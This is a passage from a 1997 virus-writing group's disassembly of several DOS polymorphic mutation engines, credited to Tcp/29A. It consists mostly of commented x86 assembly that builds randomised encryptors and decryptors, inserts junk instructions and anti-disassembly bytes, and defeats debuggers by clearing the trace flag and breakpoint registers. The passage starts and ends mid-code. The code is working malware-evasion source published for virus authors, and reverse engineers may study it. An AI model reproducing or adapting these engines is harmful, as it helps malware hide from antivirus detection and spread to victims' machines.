di,offset(decryptor) add di,bp pop ax ; AX:=1100h+(90h+3Ch-20h) inc cs:[bp+n_decryptors] ; Inc # of tested decryptors mov cs:[bp+decryptor_ok],0 ; Decryptor not found mov cs:[bp+decrypting],0 ; Not decrypting mov cx,20h push es push ds add ax,cx push cs pop es push cs pop ds cld dec cx sub al,3Ch ; AL:=90h (NOP) rep stosb add al,3Ch ; AL:=0CCh (int 3) stosb cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested? jb create_random_decryptor ; Yes? then jmp nop nop mov ax,cs:[bp+n_decryptors] ; Don't use a random number. ; n_decryptors will be increased, so it'll ; find the correct decryptor. jmp create_decryptor nop db 66h ; Unused!? (antidebug??) create_random_decryptor: in al,40h ; Get random number create_decryptor: mov cs:[bp+decryptor_id],al ; Why? Never use it!! mov cx,8 mov si,offset(buffer_decryptor) add si,bp mov di,offset(decryptor) add di,bp l_make_random_decryptor: rcr al,1 ; Add instruction to decryptor? jc add_inst_dec ; Yes? then jmp nop nop add si,4 next_dec_instruction: loop l_make_random_decryptor jmp done_random_decryptor nop add_inst_dec: cld push cx mov cx,4 rep movsb ; Add instruction pop cx jmp next_dec_instruction done_random_decryptor: mov di,RES_SIZE_DEC add di,cs:[bp+runtime_ofs] code_length equ word ptr $+1 mov cx,0 ; mov cx,code_length mov bx,cs:[bp+code_CRC] l_random_decryptor: mov dl,cs:[di] decryptor db 8*4 dup(90h) mov al,dl mov ah,0 sub bx,ax ; Calculate CRC cmp cs:[bp+decrypting],1 ; Decrypting? je decrypt_byte ; Yes? then jmp nop nop loop_decryptor: inc di loop l_random_decryptor pop ds pop es cmp bx,0 ; CRC OK? jnz decryptor_code ; No? then jmp jmp found_decryptor ; Yes? then jmp nop buffer_decryptor db 8*4 dup(90h) end_buffer_dec: code_CRC dw 0 decryptor_ok db 0 decrypting db 0 db 0Bh ; Unused! db 0Bh ; Unused! db 0Bh ; Unused! decryptor_id db 0 n_decryptors dw 0 decrypt_byte: mov cs:[di],dl ; Store decrypted byte jmp loop_decryptor found_decryptor: cmp cs:[bp+decryptor_ok],1 ; Code decrypted? je code_decrypted ; Yes? then jmp nop nop mov cs:[bp+decrypting],1 mov cs:[bp+decryptor_ok],1 push es push ds jmp done_random_decryptor ; Decrypt code code_decrypted: jmp anti_disasm1 nop db 69h ; Antidebug anti_disasm1: cli push 3545h jmp anti_disasm2 nop db 0EAh ; Antidebug anti_disasm2: cli inc sp mov ax,cs:[bp] xor ax,bx cld scasb inc sp mov ax,4202h sub sp,2 pop ax cmp ax,3545h ; Is it being traced? jne decrypted_code ; Yes? then jmp ; BUG! Should jump when not traced nop nop xor ax,3445h mov es,ax inc byte ptr cs:[0Dh] and cx,0Fh rep scasb xor ax,cs:[si] pushf pop ax ; Get flags and ah,0FEh ; Clear trace flag push ax xchg bx,cx les bx,ds:[2Bh] popf ; Trace flag off xor eax,eax mov dr7,eax ; Clear all breakpoints dec byte ptr cs:[0Dh] call skip_reset db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset) dw 0FFF0h ; but never reach here because in 'skip_reset' dw 0F000h ; it does a pop of the return address skip_reset: pop ax decrypted_code: ; End of decryptor code encryptor_table: xor byte ptr es:[di],0 add byte ptr es:[di],0 sub byte ptr es:[di],0 nop ror byte ptr es:[di],1 nop rol byte ptr es:[di],1 nop neg byte ptr es:[di] nop not byte ptr es:[di] nop neg byte ptr es:[di] decryptor_table: nop xor dl,0 nop sub dl,0 nop add dl,0 nop nop rol dl,1 nop nop ror dl,1 nop nop neg dl nop nop not dl nop nop neg dl buffer_encryptor db 8*4 dup(90h) end_res: RES ends public res_engine end ; End of RES disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com) ; ; - -[SSRME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; Stainless Steel Rat Mutation Engine v2.00beta (SSRME 2.0b), by SSR ; Disasm by Tcp/29A (tcp@cryogen.com) ; ; Entry: ; DS:DX = code to encrypt ; BP = runtime offset ; CX = total bytes to encrypt ; Return: ; DS:DX = decryptor + encrypted code ; CX = size decryptor + encrypted code SSRME200b segment use16 assume cs:SSRME200B, ds:SSRME200B, es:SSRME200B, ss:SSRME200B org 0 SSRME_DEC_SIZE = 5000 SSRME_SIZE = end_ssrme200b - start ssrme_engine: start: call ssrme_delta ssrme_delta: pop si sub si,3 ; Get delta offset pop ax push cs push ax push es mov ax,es sub ax,10h mov es,ax mov di,100h push cx mov cx,SSRME_SIZE nop push ds push cs pop ds cld rep movsb ; Copy engine code to working area pop ds pop cx mov ax,offset(start_ssrme)+100h push es push ax retf ; jmp start_srme start_ssrme: pop es mov si,100h mov ax,es add ax,(end_ssrme200b-start+15)/16+1 mov es,ax mov cs:[si+ofs_src],dx push cx push bx mov cx,8 mov al,0 mov bp,offset(register_table) l_gen_reg_table: ; Create a table with [0,1,2,3,5,6,7] mov cs:[bp+si],al cmp al,4 ; Register SP? je skip_4 ; Yes? then jmp (skip it) inc bp skip_4: inc al loop l_gen_reg_table push si mov cx,8 add si,offset(register_table) l_xchg_regs: ; Xchg registers in register table call SSRME_get_random and al,7 mov ah,0 ; AX in [0..7] mov bp,si add bp,ax ; Reg #1 call SSRME_get_random and ax,7 ; AX in [0..7] mov di,si add di,ax ; Reg #2 mov al,cs:[bp] xchg al,cs:[di] ; Xchg registers mov cs:[bp],al loop l_xchg_regs pop si mov cx,SSRME_DEC_SIZE mov al,90h ; NOP xor di,di cld rep stosb ; Fill with NOPs xor di,di xor bp,bp l_next_register: push bp mov ax,0B866h ; Generate MOV ext-reg,xxxxxxxx add ah,byte ptr cs:[bp+si+register_table] ; Select reg stosw call SSRME_get_random ; Generate double-word mov ah,al call SSRME_get_random stosw call SSRME_get_random mov ah,al call SSRME_get_random stosw call generate_garbage_calljmp pop bp inc bp ; Next register cmp bp,8 ; Last register? jne l_next_register ; No? then jmp mov cx,5 l_main_shit: call generate_garbage call generate_call_jmp call generate_jxx push cx mov cx,5 l_gen_regreg: call generate_op_regreg loop l_gen_regreg pop cx call generate_int call generate_call_addsp loop l_main_shit mov cs:[si+ofs_start_dec],di mov ax,60CDh ; Generate INT 60h cld stosw push ax push bx push cx push dx push bp push di push ax push ax push ax push ax push es xor ax,ax mov es,ax ; ES:=0 mov es:[60h*4+2],cs ; Set new int 60h mov ax,offset(int_60h) add ax,si mov es:[60h*4],ax pop es xor ax,ax ; Exec generated routine until int 60h push es push ax retf int_60h: add sp,6 ; Remove return address+flags from stack mov ax,si mov si,100h mov cs:[si+value_di],di ; Save reg values mov cs:[si+value_ax],ax mov cs:[si+value_bx],bx mov cs:[si+value_bp],bp pop ax pop ax pop ax pop ax pop di pop bp pop dx pop cx pop bx pop ax call SSRME_get_random and al,7 ; AL in [0..7] add al,80h ; AL in [80h...87h] mov cs:[si+opindex],al mov ah,0 shl al,1 ; AL in [0, 2,..., 14] push ax mov bx,offset(register_combination) add bx,ax mov ax,cs:[bx+si] ; Select a register combination mov bx,offset(register_table) mov cx,8 l_remove_registers: ; Remove register from register table ; because it is used cmp al,cs:[bx+si] je remove_register cmp ah,cs:[bx+si] jne dont_remove_register remove_register: mov byte ptr cs:[bx+si],0 dont_remove_register: inc bx loop l_remove_registers pop ax push ax mov bx,offset(register_combination) add bx,ax mov ax,cs:[bx+si] ; Previously selected reg combination mov bh,al add bh,40h ; INC register mov cs:[si+inc_inst],bh mov cs:[si+index_reg],al push dx call get_register_value mov cs:[si+value_index],dx pop dx pop ax pop bx add bx,SSRME_DEC_SIZE push bx mov bx,offset(register_combination) add bx,ax mov ax,cs:[bx+si] ; Previously selected reg combination cmp al,ah ; Using same register? je using_1reg ; Yes? then jmp call get_register_value ; Get reg1 value mov cx,dx mov al,ah call get_register_value ; Get reg2 value add cx,dx ; Add values jmp calc_index_inm nop using_1reg: call get_register_value ; Get reg value mov cx,dx calc_index_inm: pop bx ; Runtime offset mov ax,bx sub ax,cx ; Runtime ofs - reg.values mov cs:[si+index_inm],ax ; [index_reg +/- inmediate] mov cx,8 mov bx,offset(end_decryptor-4) mov di,cs:[si+ofs_start_dec] l_gen_operation: call SSRME_get_random mov dl,al ; Value for mask call SSRME_get_random and ax,3 ; AX in [0..3] (select operation) call generate_dec_instruction call generate_enc_instruction call generate_garbage call generate_call_jmp call generate_jxx loop l_gen_operation pop cx push cx mov bp,cs:[si+ofs_src] mov bx,SSRME_DEC_SIZE push cx cld l_crypt: mov al,ds:[bp] mov es:[bx],al encryptor: db 8*4 dup(90h) ; NOP end_decryptor: inc bx inc bp loop l_crypt mov al,cs:[si+inc_inst] ; Generate INC index stosb pop dx ; Runtime ofs add dx,cs:[si+value_index] mov al,81h ; Generate CMP index,ofs end decryption stosb mov al,cs:[si+index_reg] add al,0F8h stosb mov ax,dx stosw mov ax,374h ; Generate JE $+5 stosw mov al,0E9h ; Generate JMP start decryptor stosb mov ax,cs:[si+ofs_start_dec] sub ax,di dec ax dec ax stosw fill_length: cmp di,SSRME_DEC_SIZE-100 jae jmp_code call generate_garbage jmp fill_length jmp_code: cld mov al,0EBh ; Generate JMP xx stosb mov ax,SSRME_DEC_SIZE sub ax,di dec ax ; jmp to start of encrypted code stosb l_fill_buffer: cmp di,SSRME_DEC_SIZE ; Buffer filled? jae end_ssrme ; Yes? then jmp call SSRME_get_random stosb jmp l_fill_buffer end_ssrme: push es pop ds xor dx,dx ; DS:DX -> decryptor + encrypted code pop cx add cx,SSRME_DEC_SIZE ; CX = size decryptor + encrypted code retf decryption_inst: db 80h opindex db 80h index_inm dw 0 _mask db 0 inc_inst db 0 SSRME_get_random: pushf in al,40h ; Get random number ror al,1 xor al,53h popf ret generate_garbage: cld push bx call SSRME_get_random and al,7 ; AL in [0..7] cmp al,1 ; Generate 1 byte instruction? je generate_1byte ; Yes? then jmp cmp al,2 ; Generate antidisasm code? je generate_antidisasm ; Yes? then jmp cmp al,3 ; Generate conditional jump? je generate_conditional_jmp; Yes? then jmp cmp al,4 ; Generate JMP? jne generate_operation ; No? then jmp? jmp generate_jmp ; Yes? then jmp generate_operation: mov al,66h ; Extended registers stosb mov bx,offset(op_reg_inm_table) call SSRME_get_random and ax,7 ; AX in [0..7] shl al,1 ; Select table entry add bx,ax mov al,cs:[bx+si] ; Generate operation stosb mov ah,cs:[bx+si+1] call select_random_reg and al,7 ; AL in [0..7] add al,ah ; Select register stosb call SSRME_get_random ; Generate double word mov ah,al call SSRME_get_random stosw call SSRME_get_random mov ah,al call SSRME_get_random stosw ret_gen_garbage: pop bx ret generate_1byte: mov bx,offset(_1byte_table) call SSRME_get_random and ax,0Fh ; AX in [0..0Fh] add bx,ax mov al,cs:[bx+si] ; Select random instruction stosb jmp ret_gen_garbage generate_antidisasm: mov bx,offset(antidisasm_table) call SSRME_get_random and ax,3 ; AX in [0..3] add bx,ax ; Select table entry mov al,cs:[bx+si] push ax mov ax,1EBh ; Generate JMP $+1 stosw pop ax ; Store anti-disasm stosb jmp ret_gen_garbage generate_conditional_jmp: call SSRME_get_random rcr al,1 ; Generate CMC instruction? jc generate_cmc ; Yes? then jmp rcr al,1 ; Generate CLC+JNC? jc generate_clc_jnc ; Yes? then jmp mov al,0F9h ; Generate STC stosb mov al,72h ; Generate JC stosb jmp generate_ofs_short nop generate_clc_jnc: mov al,0F8h ; Generate CLC stosb mov al,73h ; Generate JNC stosb jmp generate_ofs_short nop generate_cmc: rcr al,1 ; Generate CLC+CMC+JC? jc generate_clc_cmc_jc ; Yes? then jmp mov al,0F9h ; Generate STC stosb mov al,0F5h ; Generate CMC stosb mov al,73h ; Generate JNC stosb jmp generate_ofs_short nop generate_clc_cmc_jc: mov al,0F8h ; Generate CLC stosb mov al,0F5h ; Generate CMC stosb mov al,72h ; Generate JC stosb jmp generate_ofs_short ; Stupid jmp!! nop generate_ofs_short: push cx push ax push di ; Save position inc di call gen_never_executed_code pop ax ; Restore position mov cx,di ; Calculate jmp offset sub cx,ax mov bp,ax dec cl mov es:[bp],cl ; Store offset pop ax pop cx jmp ret_gen_garbage generate_jmp: mov al,0EBh ; Generate JMP xx stosb jmp generate_ofs_short generate_call_jmp: cld push ax push cx mov al,0E8h ; Generate CALL xxxx stosb push di ; Save offset position inc di inc di mov cx,5 l_gen_call_shit: call generate_garbage loop l_gen_call_shit mov al,0E9h ; Generate JMP xxxx stosb push di ; Save offset position inc di inc di mov cx,5 l_gen_jmp_shit: call generate_garbage loop l_gen_jmp_shit mov al,0C3h ; Generate RET stosb pop bp ; Restore offset position mov ax,di ; Calculate JMP offset sub ax,bp sub ax,2 mov es:[bp],ax ; Store offset add bp,2 mov ax,bp pop bp ; Restore offset position sub ax,bp ; Calculate CALL offset sub ax,2 mov es:[bp],ax ; Store offset pop cx pop ax ret generate_garbage_calljmp: push cx call SSRME_get_random and ax,3 mov cx,ax ; CX in [0..3] inc cx inc cx ; CX in [2..5] l_gen_garbage_calljmp: push cx call generate_garbage call generate_call_jmp pop cx loop l_gen_garbage_calljmp pop cx ret gen_never_executed_code: push ax push cx call SSRME_get_random rcr al,1 ; Generate a simulated decryptor inst? jc gen_sim_decr ; Yes? then jmp and al,7 ; AL in [0..7] inc al ; AL in [1..8] mov ah,0 mov cx,ax ; Generate 1 to 8 bytes of shit cld l_generate1_8shit: call SSRME_get_random stosb loop l_generate1_8shit jmp ret_no_exec nop gen_sim_decr: cld mov al,2Eh ; Generate CS: prefix stosb mov al,80h ; byte ptr [bx+si],inm8 stosb push bx mov bx,offset(decrypt_inst) call SSRME_get_random and ax,7 ; AX in [0..7] add bx,ax ; Select operation mov al,cs:[bx+si] ; BUG! Only 4 operations in table, not 8 stosb call SSRME_get_random ; Generate simulated mask stosb call SSRME_get_random ; Generate 2 bytes of shit stosb call SSRME_get_random stosb pop bx ret_no_exec: pop cx pop ax ret select_random_reg: push bx push si push ax call SSRME_get_random mov ah,0 and al,7 ; AX in [0..7] add si,ax mov al,byte ptr cs:[si+register_table] mov bx,ax pop ax mov al,bl pop si pop bx ret generate_call_addsp: cld push ax push cx mov al,0E8h ; Generate CALL xxxx stosb push di ; Save offset position inc di inc di call gen_never_executed_code pop bp ; Restore offset position mov ax,di ; Calculate jump offset sub ax,bp dec ax dec ax mov es:[bp],ax ; Store jump offset mov cx,4 l_shit_csp: call generate_garbage loop l_shit_csp mov ax,0C483h ; Generate ADD SP,2 stosw mov al,2 stosb pop cx pop ax ret generate_op_regreg: cld push ax push cx mov al,66h ; Extended registers stosb call SSRME_get_random rcr al,1 ; Generate XXX reg1,reg2 ? jc generate_op2bytes ; No? then jmp call SSRME_get_random and ax,7 ; AX in [0..7] mov bx,offset(operation_table) add bx,ax ; Select operation from table mov al,cs:[bx+si] stosb mov ah,0C0h ; Generate reg source and destination call select_random_reg add ah,al call select_random_reg mov cl,3 shl al,cl add ah,al xchg ah,al stosb ret_gen_regreg: pop cx pop ax ret generate_op2bytes: call SSRME_get_random and ax,7 ; AX in [0..7] shl ax,1 ; AX:=AX*2 mov bx,offset(_2bytes_table) add bx,ax mov al,cs:[bx+si] ; Operation stosb mov ah,cs:[bx+si+1] ; Select destination register call select_random_reg add al,ah stosb jmp ret_gen_regreg generate_jxx: cld push cx push ax mov ah,70h call SSRME_get_random and al,0Fh add al,ah ; AL in [70h..7Fh] -> Conditional jumps stosb push di ; Save offset position inc di call generate_call_jmp pop bp ; Restore offset position mov ax,di ; Calculate jmp offset sub ax,bp dec al mov es:[bp],al ; Store offset pop ax pop cx ret generate_int: cld push bx push ax call SSRME_get_random and ax,3 ; AX in [0..3] mov bx,offset(int_table) add bx,ax mov al,0CDh ; INT xx mov ah,cs:[bx+si] ; Get int number stosw pop ax pop bx ret get_register_value: push ax push bx cmp al,3 ; BX ? je get_bx ; Yes? then jmp cmp al,5 ; BP ? je get_bp ; Yes? then jmp cmp al,6 ; SI ? je get_si ; Yes? then jmp xor bx,bx ; else DI jmp get_value nop get_bx: mov bx,4 jmp get_value nop get_bp: mov bx,6 jmp get_value nop get_si: mov bx,2 get_value: mov dx,word ptr cs:[bx+si+value_registers] pop bx pop ax ret generate_enc_instruction: push ax push bp mov bp,offset(encrypt_inst) shl ax,1 shl ax,1 add bp,ax mov ax,cs:[bp+si] ; Get instruction opcodes mov cs:[bx+si],ax ; Add to encryptor mov ax,cs:[bp+si+2] ; opcodes mov ah,dl ; Add mask mov cs:[bx+si+2],ax ; Add to encryptor sub bx,4 ; Next instruction pop bp pop ax ret generate_dec_instruction: cld push ax push cx push bx push bp mov bx,offset(decrypt_inst) add bx,ax ; Select instruction mov al,2Eh ; Generate CS: prefix stosb mov ah,cs:[bx+si] ; Get opcode from table mov al,cs:[si+opindex] and al,0C7h add al,ah ; Build operation+reg_index opcode mov cs:[si+opindex],al mov cs:[si+_mask],dl push si push ds push cs pop ds mov cx,5 add si,offset(decryption_inst) cld rep movsb ; Generate instruction pop ds pop si pop bp pop bx pop cx pop ax ret db 0Dh,0Ah db 'THE STAINLESS STEEL RAT MUTATION ENGINE v 2.00 beta' db 0Dh,0Ah db '(c) S.S.R. 1996-97',0Dh,0Ah register_table: db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 value_registers: value_di dw 0 value_ax dw 0 value_bx dw 0 value_bp dw 0 index_reg db 0 value_index dw 0 ofs_start_dec dw 0 ofs_src dw 0 op_reg_inm_table: db 81h, 0C0h ; ADD reg,inm db 81h, 0E8h ; SUB reg,inm db 81h, 0F8h ; CMP reg,inm db 81h, 0E0h ; AND reg,inm db 81h, 0C8h ; OR reg,inm db 81h, 0F0h ; XOR reg,inm db 81h, 0F8h ; CMP reg,inm db 0F7h,0C0h ; TEST reg,inm _1byte_table: int 3 aaa daa cbw cwd aas das db 026h ; ES: db 02Eh ; CS: db 036h ; SS: db 03Eh ; DS: clc cmc stc cld std nop antidisasm_table: db 066h db 069h db 0EAh db 09Ah operation_table: db 1 ; ADD db 29h ; SUB db 39h ; CMP db 21h ; AND db 9 ; OR db 31h ; XOR db 39h ; CMP db 85h ; TEST _2bytes_table: db 0FFh, 0C0h ; INC reg db 0FFh, 0C8h ; DEC reg db 0F7h, 0D0h ; NOT reg db 0D3h, 0E0h ; SHL reg,CL db 0D3h, 0E8h ; SHR reg,CL db 0D3h, 0C0h ; ROL reg,CL db 0F7h, 0D8h ; NEG reg db 0D3h, 0C8h ; ROR reg,CL int_table: db 1 ; int 1 db 3 ; int 3 db 1Ch ; int 1Ch db 28h ; int 28h register_combination: db 3 ; 0 ; BX db 6 ; SI db 3 ; 2 ; BX db 7 ; DI db 5 ; 4 ; BP db 6 ; SI db 5 ; 6 ; BP db 7 ; DI db 6 ; 8 ; SI db 6 ; SI db 7 ; 10 ; DI db 7 ; DI db 5 ; 12 ; BP db 5 ; BP db 3 ; 14 ; BX db 3 ; BX encrypt_inst: add byte ptr es:[bx],0 sub byte ptr es:[bx],0 xor byte ptr es:[bx],0 add byte ptr es:[bx],0 decrypt_inst: db 28h ; SUB db 0 ; ADD db 30h ; XOR db 28h ; SUB end_ssrme200b: SSRME200b ends public ssrme_engine end ; End of SSRME 2.0b disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com) ; ; - -[MME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; Metamorphic Mutation Engine 3.0 (MME 3.0), by SSR ; Disasm by Tcp/29A (tcp@cryogen.com) ; ; Entry: ; BX = runtime offset (delta offset) ; DS:DX = code to be encrypted ; ES = work segment ; CX = size ; Return : ; DS:DX = decryptor + code ; CX = size decryptor + code MME30 segment assume cs:MME30, ds:MME30, es:MME30, ss:MME30 org 0 MME_DEC_SIZE = 1500 SIZE_MME = end_mme - start mme_engine: start: call MME_delta MME_delta: pop si sub si,3 ; Get delta offset pop ax push cs push ax mov di,100h push es mov ax,es sub ax,10h mov es,ax push cx mov cx,SIZE_MME nop push ds push cs pop ds cld rep movsb ; Copy code to buffer pop ds pop cx mov ax,offset(mme_start)+100h push es push ax retf ; Jump to copy (mme_start) mme_start: pop es mov si,100h mov ax,es add ax,(SIZE_MME+15)/16+1 mov es,ax mov cs:[si+ofs_in_file],bx mov cs:[si+length_code],cx mov cs:[si+base_code],dx cld mov al,90h ; NOP xor di,di mov cx,MME_DEC_SIZE ; Length of decryptor rep stosb ; Fill with NOPs xor di,di cld more_garbage: call make_garbage call get_random and al,7 ; AL in [0..7] cmp al,1 ; Generate call? jne gen_jx? ; No? then jmp nop nop nop call generate_call jmp check_garbage_s nop gen_jx?: cmp al,2 ; Generate conditional jump+garbage? jne check_garbage_s ; No? then jmp nop nop nop call generate_jx_garbage check_garbage_s: cmp di,1000 ; <1000 bytes of garbage? jb more_garbage ; Yes? then jmp call get_random and ax,1Fh ; AX in [0..31] add ax,1150 ; [1150..1181]: Return from RETF mov cs:[si+return_retf],ax push ax mov ax,0C63Eh ; MOV DS: stosw mov al,6 ; [addr16],inm8 stosb mov ah,0 call get_random and al,3Fh add al,0C0h ; AX in [0C0h..0FFh] mov cs:[si+addr_retf],ax stosw ; [addr16]:=[0C0h..0FFh] mov al,0CBh ; inm8:=RETF stosb ; Generated: mov byte ptr ds:[xxxx],0CBh call generate_garbage mov al,0Eh ; Generate PUSH CS stosb call generate_garbage mov al,68h ; Generate PUSH inmediate (ret address) stosb pop ax add ax,cs:[si+ofs_in_file] stosw ; Return address from retf call generate_garbage mov al,1Eh ; Generate PUSH DS stosb call generate_garbage mov al,68h ; Generate PUSH inmediate (to RETF) stosb mov ax,cs:[si+addr_retf] stosw ; Address of runtime generated RETF call generate_garbage mov al,0CBh ; Generate RETF (jmp to generated RETF) stosb mov cx,cs:[si+return_retf] sub cx,di ; Fill with garbage to return address l_more_shit: call get_random stosb loop l_more_shit call generate_garbage call get_random and ax,3 ; AX in [0..3] mov bp,ax ; Select register index mov al,byte ptr cs:[bp+si+regop_table] mov cs:[si+indexop_reg],al mov ah,byte ptr cs:[bp+si+regop2_table] and ah,7 mov cs:[si+indexop2_reg],ah mov al,0C7h ; Generate MOV reg16,inm ; MOV reg_index,start address stosb mov al,0C0h add al,ah ; reg16=(SI or DI) stosb mov ax,MME_DEC_SIZE ; Calculate starting address to decrypt add ax,cs:[si+ofs_in_file] add ax,cs:[si+length_code] stosw call generate_garbage mov cs:[si+decryptor_ofs],di ; Start decryptor call generate_encryptor mov cx,cs:[si+length_code] add cx,MME_DEC_SIZE ; Code + decryptor push es pop ds xor dx,dx retf db 'MME v 2.00',0 ; 2.0??? It's 3.0 ;) db ' S.S.R. 1996-97',0 generate_segmentprefix: and al,00011000b add al,26h ; 00h+26h = 26h (ES:) ; 10h+26h = 36h (SS:) ; 08h+26h = 2Eh (CS:) ; 18h+26h = 3Eh (DS:) stosb ret generate_1byteinst: and ax,0Fh ; AX in [0..15] mov bp,offset(MME_1byte) add bp,ax mov al,cs:[bp+si] ; Generate 1 byte instruction stosb ret generate_reg8reg8: call generate_toreg8 stosb call get_random and al,00111111b ; Allow all registers add al,11000000b ; Mode 3: Register to Register stosb ret generate_reg8addr16: call generate_toreg8 stosb call get_random and al,00111111b ; Allow all registers add al,10000000b ; Mode 2: Inmediate 16 bits address stosb call get_random ; Generate word stosb call get_random stosb ret generate_reg8inm: mov al,10000000b ; [3 bytes operation]; to reg; 8 bits stosb call generate_regop stosb call get_random ; Generate inmediate value stosb ret generate_jmpshort: mov al,0EBh ; Generate JMP xx (short) stosb push di inc di call generate_shit ; 1 to 8 bytes of shit pop bp mov ax,di ; Calculate offset of JMP (skip shit) sub ax,bp dec al mov es:[bp],al ; Store offset ret generate_shift8: and al,00000010b ; 8 bits add al,11010000b ; [RCL,RCR,ROL,ROR,SHL,SHR,SAL,SAR] stosb call generate_regop2 stosb ret generate_in: mov al,0E4h ; Generate IN AL,xx stosb call get_random ; Random port stosb inc di ; Generate NOP ret generate_int1_int3: mov al,0CDh ; Generate INT xx stosb call get_random rcr al,1 ; Generate int 3? jc generate_int3 ; Yes? then jmp nop nop nop mov al,1 ; Generate int 1 jmp store_int nop generate_int3: mov al, 3 store_int: stosb ret generate_movdrx: mov ax,230Fh ; Generate MOV dr?,extended-register stosw call get_random and al,1Fh add al,0C0h ; AL in [0C0h..0DFh] stosb ret generate_reg32reg32: mov al,66h ; Extended register prefix stosb call get_random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] add al,00000011b ; to reg; 16 bits stosb call get_random and al,00011111b ; Don't use ESP,EBP,ESI,EDI as dest. add al,11000000b ; Mode 3: Register to register stosb ret generate_reg32inm32: mov ax,8166h ; Extended regs; 6 bytes operation stosw call get_random and al,00111011b ; Don't use ESP,EBP,ESI,EDI as dest. add al,11000000b stosb push cx mov cx,4 ; Generate a double word l_gen_doubleword: call get_random stosb loop l_gen_doubleword pop cx ret MME_function_table: dw offset(generate_segmentprefix) dw offset(generate_1byteinst) dw offset(generate_reg8reg8) dw offset(generate_reg8addr16) dw offset(generate_reg8inm) dw offset(generate_jmpshort) dw offset(generate_shift8) dw offset(generate_in) dw offset(generate_int1_int3) dw offset(generate_movdrx) dw offset(generate_reg32reg32) dw offset(generate_reg32inm32) dw offset(generate_reg8reg8) dw offset(generate_reg8addr16) dw offset(generate_reg8inm) dw offset(generate_jmpshort) get_random: pushf push cx in al,40h ; Get random number mov cl,al in al,40h ; Get random number ror al,cl xor al,cl inc al pop cx popf ret generate_toreg8: call get_random and al,00111000b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] add al,00000010b ; to reg; 8 bits ret generate_regop: call get_random and al,00111111b ; All registers add al,11000000b ; Mode 3: Register to register ret generate_regop2: ; = generate_regop !! call get_random and al,00111111b add al,11000000b ret ;; Unused code !! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; call get_random and al,00111111b add al,10000000b ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; generate_shit: push cx call get_random and ax,7 inc ax ; AX in [1..8] mov cx,ax l_gen_shit: call get_random stosb loop l_gen_shit pop cx ret generate_jx_garbage: call get_random and al,0Fh add al,70h ; AL in [70h..7Fh] Generate conditional jump ofsret_garbage: stosb push di ; Save offset address inc di push cx call get_random and ax,3 mov cx,ax inc cx ; CX in [1..4] l_call_table: call get_random mov bx,ax and bx,7 ; BX in [0..7] shl bx,1 ; Select garbage function from table mov bp,word ptr cs:[bx+si+MME_function_table] call get_random add bp,si call bp ; Call garbage funtion loop l_call_table pop cx pop bp mov ax,di sub ax,bp mov es:[bp],al call get_random call generate_1byteinst ret generate_call: mov al,0E8h ; CALL stosb push di inc di inc di ; Space for offset push cx call get_random and ax,3 ; AX in [0..3] mov cx,ax inc cx ; CX in [1..4] l_call_table2: call get_random mov bx,ax and bx,7 ; BX in [0..7] shl bx,1 ; BX:=BX*2 mov bp,word ptr cs:[bx+si+MME_function_table] call get_random add bp,si call bp ; Call garbage function loop l_call_table2 pop cx pop bp mov ax,di sub ax,bp mov es:[bp],ax mov al,0EBh ; JMP call ofsret_garbage dec di mov al,0C3h ; Generate RET stosb ret make_garbage: push ax push bp push bx call get_random and ax,0Fh ; [0..15] shl ax,1 ; AX:=AX*2 mov bp,ax ; Select garbage funtion mov bx,word ptr cs:[bp+si+MME_function_table] add bx,si call get_random call bx ; Call garbage table pop bx pop bp pop ax ret generate_garbage: push cx call get_random and ax,3 ; AX in [0..3] inc ax mov cx,ax ; CX in [1..4] l_mk_garbage: call make_garbage loop l_mk_garbage pop cx ret generate_encryptor: mov cx,8 ; 8 encryption/decryption instructions mov bx,offset(first_enc_inst) l_generate_encryptor: call get_random and ax,3 ; AX in [0..3] mov bp,ax shl bp,1 shl bp,1 ; BP:=AX*4 call get_random mov cs:[si+_mask],al ; Generate mask mov ax,word ptr cs:[bp+si+encrypt_table] ; Encrypt op. mov cs:[bx+si],ax ; Store it mov ax,word ptr cs:[bp+si+encrypt_table+2] mov ah,cs:[si+_mask] ; xxx es:[xx],_mask mov cs:[bx+si+2],ax mov ax,word ptr cs:[bp+si+decrypt_table] ; Decrypt op. stosw ; Store it mov ax,word ptr cs:[bp+si+decrypt_table+2] and al,0F8h ; Clear index register add al,cs:[si+indexop_reg] ; Register index [xx] mov ah,cs:[si+_mask] ; xxx cs:[xx],_mask stosw call generate_garbage sub bx,4 loop l_generate_encryptor ; and decryptor push di mov cx,cs:[si+length_code] ; Bytes to encrypt mov di,MME_DEC_SIZE ; Destination mov bp,cs:[si+base_code] ; Source l_encrypt_code: mov al,ds:[bp] mov es:[di],al db 8*4 dup(90h) ; 8 instructions; 4 bytes each one first_enc_inst equ $-4 inc di inc bp loop l_encrypt_code pop di call generate_garbage mov al,48h ; Generate DEC register index add al,cs:[si+indexop2_reg] stosb call generate_garbage mov ax,0F881h ; Generate CMP reg index,end decryption add ah,cs:[si+indexop2_reg] stosw mov ax,cs:[si+ofs_in_file] add ax,MME_DEC_SIZE-1 stosw mov ax,840Fh ; Generate JE xxxx (JE decrypted code) stosw mov ax,MME_DEC_SIZE-2 sub ax,di stosw mov al,0E9h ; Generate JMP xxxx (decryptor loop) stosb mov ax,cs:[si+decryptor_ofs] ; Start of decryptor sub ax,di dec ax dec ax stosw mov cx,MME_DEC_SIZE sub cx,di ; Fill free space with shit l_shit: call get_random stosb loop l_shit ret encrypt_table: xor byte ptr es:[di],0 add byte ptr es:[di],0 sub byte ptr es:[di],0 add byte ptr es:[di],0 decrypt_table: xor byte ptr cs:[di],0 sub byte ptr cs:[di],0 add byte ptr cs:[di],0 sub byte ptr cs:[di],0 ofs_in_file dw 0 base_code dw 0 length_code dw 0 indexop2_reg db 0 return_retf dw 0 _mask db 0 indexop_reg db 0 decryptor_ofs dw 0 addr_retf dw 0 MME_1byte: cli cmc stc clc std cld aaa daa aas das sti cbw cwd int 3 db 0F3h ; 